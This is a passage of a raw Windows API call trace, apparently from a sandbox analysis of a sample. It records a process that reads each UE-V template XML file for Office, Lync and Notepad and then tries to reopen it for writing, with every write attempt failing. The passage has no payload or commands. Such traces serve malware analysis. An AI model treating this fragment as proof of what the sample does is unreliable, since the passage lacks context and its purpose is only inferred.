Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftLync2013Win32.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftlync2013win32.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0147.741] GetFileType (hFile=0x808) returned 0x1 [0147.741] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa370) returned 1 [0147.741] GetFileType (hFile=0x808) returned 0x1 [0147.741] GetFileSize (in: hFile=0x808, lpFileSizeHigh=0x10fa5a8 | out: lpFileSizeHigh=0x10fa5a8*=0x0) returned 0xb31 [0147.741] ReadFile (in: hFile=0x808, lpBuffer=0x3874c50, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x10fa4d8, lpOverlapped=0x0 | out: lpBuffer=0x3874c50*, lpNumberOfBytesRead=0x10fa4d8*=0xb31, lpOverlapped=0x0) returned 1 [0147.741] CloseHandle (hObject=0x808) returned 1 [0148.243] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftLync2013Win32.xml", nBufferLength=0x105, lpBuffer=0x10f9ee0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftLync2013Win32.xml", lpFilePart=0x0) returned 0x4a [0148.243] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa400) returned 1 [0148.243] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftLync2013Win32.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftlync2013win32.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0148.245] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f6df0) returned 1 [0148.246] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftLync2013Win64.xml", nBufferLength=0x105, lpBuffer=0x10fa080, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftLync2013Win64.xml", lpFilePart=0x0) returned 0x4a [0148.246] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa550) returned 1 [0148.246] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftLync2013Win64.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftlync2013win64.xml"), fInfoLevelId=0x0, lpFileInformation=0x38d1930 | out: lpFileInformation=0x38d1930*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a9be83, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x79a9be83, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x79a9be83, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xb31)) returned 1 [0148.246] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa510) returned 1 [0148.246] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftLync2013Win64.xml", nBufferLength=0x105, lpBuffer=0x10f9ee0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftLync2013Win64.xml", lpFilePart=0x0) returned 0x4a [0148.246] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa400) returned 1 [0148.246] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftLync2013Win64.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftlync2013win64.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x804 [0148.246] GetFileType (hFile=0x804) returned 0x1 [0148.247] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa370) returned 1 [0148.247] GetFileType (hFile=0x804) returned 0x1 [0148.247] GetFileSize (in: hFile=0x804, lpFileSizeHigh=0x10fa5a8 | out: lpFileSizeHigh=0x10fa5a8*=0x0) returned 0xb31 [0148.247] ReadFile (in: hFile=0x804, lpBuffer=0x38d2750, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x10fa4d8, lpOverlapped=0x0 | out: lpBuffer=0x38d2750*, lpNumberOfBytesRead=0x10fa4d8*=0xb31, lpOverlapped=0x0) returned 1 [0148.247] CloseHandle (hObject=0x804) returned 1 [0148.257] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftLync2013Win64.xml", nBufferLength=0x105, lpBuffer=0x10f9ee0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftLync2013Win64.xml", lpFilePart=0x0) returned 0x4a [0148.257] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa400) returned 1 [0148.257] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftLync2013Win64.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftlync2013win64.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0148.259] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f6df0) returned 1 [0148.259] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftNotepad.xml", nBufferLength=0x105, lpBuffer=0x10fa080, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftNotepad.xml", lpFilePart=0x0) returned 0x44 [0148.260] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa550) returned 1 [0148.260] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftNotepad.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftnotepad.xml"), fInfoLevelId=0x0, lpFileInformation=0x394d878 | out: lpFileInformation=0x394d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a9be83, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x79a9be83, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x79a9be83, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x3bd)) returned 1 [0148.260] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa510) returned 1 [0148.260] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftNotepad.xml", nBufferLength=0x105, lpBuffer=0x10f9ee0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftNotepad.xml", lpFilePart=0x0) returned 0x44 [0148.260] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa400) returned 1 [0148.260] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftNotepad.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftnotepad.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x804 [0148.260] GetFileType (hFile=0x804) returned 0x1 [0148.260] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa370) returned 1 [0148.260] GetFileType (hFile=0x804) returned 0x1 [0148.260] GetFileSize (in: hFile=0x804, lpFileSizeHigh=0x10fa5a8 | out: lpFileSizeHigh=0x10fa5a8*=0x0) returned 0x3bd [0148.260] ReadFile (in: hFile=0x804, lpBuffer=0x394df00, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x10fa4d8, lpOverlapped=0x0 | out: lpBuffer=0x394df00*, lpNumberOfBytesRead=0x10fa4d8*=0x3bd, lpOverlapped=0x0) returned 1 [0148.260] CloseHandle (hObject=0x804) returned 1 [0148.271] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftNotepad.xml", nBufferLength=0x105, lpBuffer=0x10f9ee0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftNotepad.xml", lpFilePart=0x0) returned 0x44 [0148.271] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa400) returned 1 [0148.271] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftNotepad.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftnotepad.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0148.273] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f6df0) returned 1 [0148.273] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2010Win32.xml", nBufferLength=0x105, lpBuffer=0x10fa080, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2010Win32.xml", lpFilePart=0x0) returned 0x4c [0148.273] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa550) returned 1 [0148.273] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2010Win32.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftoffice2010win32.xml"), fInfoLevelId=0x0, lpFileInformation=0x39c6a88 | out: lpFileInformation=0x39c6a88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a9be83, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xdf867b6e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xdf867b6e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x11c51)) returned 1 [0148.274] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa510) returned 1 [0148.274] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2010Win32.xml", nBufferLength=0x105, lpBuffer=0x10f9f30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2010Win32.xml", lpFilePart=0x0) returned 0x4c [0148.274] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa450) returned 1 [0148.274] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2010Win32.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftoffice2010win32.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0148.454] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f6e40) returned 1 [0148.454] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2010Win64.xml", nBufferLength=0x105, lpBuffer=0x10fa080, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2010Win64.xml", lpFilePart=0x0) returned 0x4c [0148.454] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa550) returned 1 [0148.454] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2010Win64.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftoffice2010win64.xml"), fInfoLevelId=0x0, lpFileInformation=0x37ea6b8 | out: lpFileInformation=0x37ea6b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a9be83, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xdf867b6e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xdf867b6e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x11c51)) returned 1 [0148.455] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa510) returned 1 [0148.455] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2010Win64.xml", nBufferLength=0x105, lpBuffer=0x10f9f30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2010Win64.xml", lpFilePart=0x0) returned 0x4c [0148.455] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa450) returned 1 [0148.455] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2010Win64.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftoffice2010win64.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0148.457] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f6e40) returned 1 [0148.457] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2013BackupWin32.xml", nBufferLength=0x105, lpBuffer=0x10fa080, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2013BackupWin32.xml", lpFilePart=0x0) returned 0x52 [0148.457] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa550) returned 1 [0148.457] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2013BackupWin32.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftoffice2013backupwin32.xml"), fInfoLevelId=0x0, lpFileInformation=0x37eaec8 | out: lpFileInformation=0x37eaec8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a75c14, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xdf841903, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xdf841903, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x3368)) returned 1 [0148.458] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa510) returned 1 [0148.458] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2013BackupWin32.xml", nBufferLength=0x105, lpBuffer=0x10f9f30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2013BackupWin32.xml", lpFilePart=0x0) returned 0x52 [0148.458] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa450) returned 1 [0148.458] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2013BackupWin32.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftoffice2013backupwin32.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0148.459] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f6e40) returned 1 [0148.460] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2013BackupWin64.xml", nBufferLength=0x105, lpBuffer=0x10fa080, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2013BackupWin64.xml", lpFilePart=0x0) returned 0x52 [0148.460] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa550) returned 1 [0148.460] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2013BackupWin64.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftoffice2013backupwin64.xml"), fInfoLevelId=0x0, lpFileInformation=0x37eb700 | out: lpFileInformation=0x37eb700*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a75c14, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xdf841903, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xdf841903, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x3368)) returned 1 [0148.460] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa510) returned 1 [0148.460] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2013BackupWin64.xml", nBufferLength=0x105, lpBuffer=0x10f9f30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2013BackupWin64.xml", lpFilePart=0x0) returned 0x52 [0148.460] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa450) returned 1 [0148.460] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2013BackupWin64.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftoffice2013backupwin64.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0148.462] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f6e40) returned 1 [0148.462] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2013Office365Win32.xml", nBufferLength=0x105, lpBuffer=0x10fa080, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2013Office365Win32.xml", lpFilePart=0x0) returned 0x55 [0148.462] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa550) returned 1 [0148.462] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2013Office365Win32.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftoffice2013office365win32.xml"), fInfoLevelId=0x0, lpFileInformation=0x37ebf38 | out: lpFileInformation=0x37ebf38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79ac20de, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xdf88ddb5, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xdf88ddb5, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x2964)) returned 1 [0148.463] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa510) returned 1 [0148.463] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2013Office365Win32.xml", nBufferLength=0x105, lpBuffer=0x10f9f30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2013Office365Win32.xml", lpFilePart=0x0) returned 0x55 [0148.463] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa450) returned 1 [0148.463] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2013Office365Win32.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftoffice2013office365win32.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0148.464] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f6e40) returned 1 [0148.465] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2013Office365Win64.xml", nBufferLength=0x105, lpBuffer=0x10fa080, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2013Office365Win64.xml", lpFilePart=0x0) returned 0x55 [0148.465] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa550) returned 1 [0148.465] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2013Office365Win64.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftoffice2013office365win64.xml"), fInfoLevelId=0x0, lpFileInformation=0x37ec798 | out: lpFileInformation=0x37ec798*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79ac20de, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xdf867b6e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xdf867b6e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x2964)) returned 1 [0148.465] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa510) returned 1 [0148.465] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2013Office365Win64.xml", nBufferLength=0x105, lpBuffer=0x10f9f30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2013Office365Win64.xml", lpFilePart=0x0) returned 0x55 [0148.465] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa450) returned 1 [0148.465] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2013Office365Win64.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftoffice2013office365win64.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0148.467] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f6e40) returned 1 [0148.467] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2013Win32.xml", nBufferLength=0x105, lpBuffer=0x10fa080, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2013Win32.xml", lpFilePart=0x0) returned 0x4c [0148.467] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa550) returned 1 [0148.467] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2013Win32.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftoffice2013win32.xml"), fInfoLevelId=0x0, lpFileInformation=0x37ecff8 | out: lpFileInformation=0x37ecff8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a9be83, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xdf841903, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xdf841903, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x10b0f)) returned 1 [0148.467] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa510) returned 1 [0148.468] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2013Win32.xml", nBufferLength=0x105, lpBuffer=0x10f9f30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2013Win32.xml", lpFilePart=0x0) returned 0x4c [0148.468] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa450) returned 1 [0148.468] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2013Win32.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftoffice2013win32.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0148.469] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f6e40) returned 1 [0148.470] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2013Win64.xml", nBufferLength=0x105, lpBuffer=0x10fa080, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2013Win64.xml", lpFilePart=0x0) returned 0x4c [0148.470] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa550) returned 1 [0148.470] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2013Win64.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftoffice2013win64.xml"), fInfoLevelId=0x0, lpFileInformation=0x37ed808 | out: lpFileInformation=0x37ed808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a9be83, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xdf841903, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xdf841903, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x10b0f)) returned 1 [0148.470] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa510) returned 1 [0148.470] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2013Win64.xml", nBufferLength=0x105, lpBuffer=0x10f9f30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2013Win64.xml", lpFilePart=0x0) returned 0x4c [0148.470] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa450) returned 1 [0148.470] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2013Win64.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftoffice2013win64.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0148.471] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f6e40) returned 1 [0148.472] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2016BackupWin32.xml", nBufferLength=0x105, lpBuffer=0x10fa080, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2016BackupWin32.xml", lpFilePart=0x0) returned 0x52 [0148.472] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa550) returned 1 [0148.472] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2016BackupWin32.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftoffice2016backupwin32.xml"), fInfoLevelId=0x0, lpFileInformation=0x37ee018 | out: lpFileInformation=0x37ee018*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a75c14, 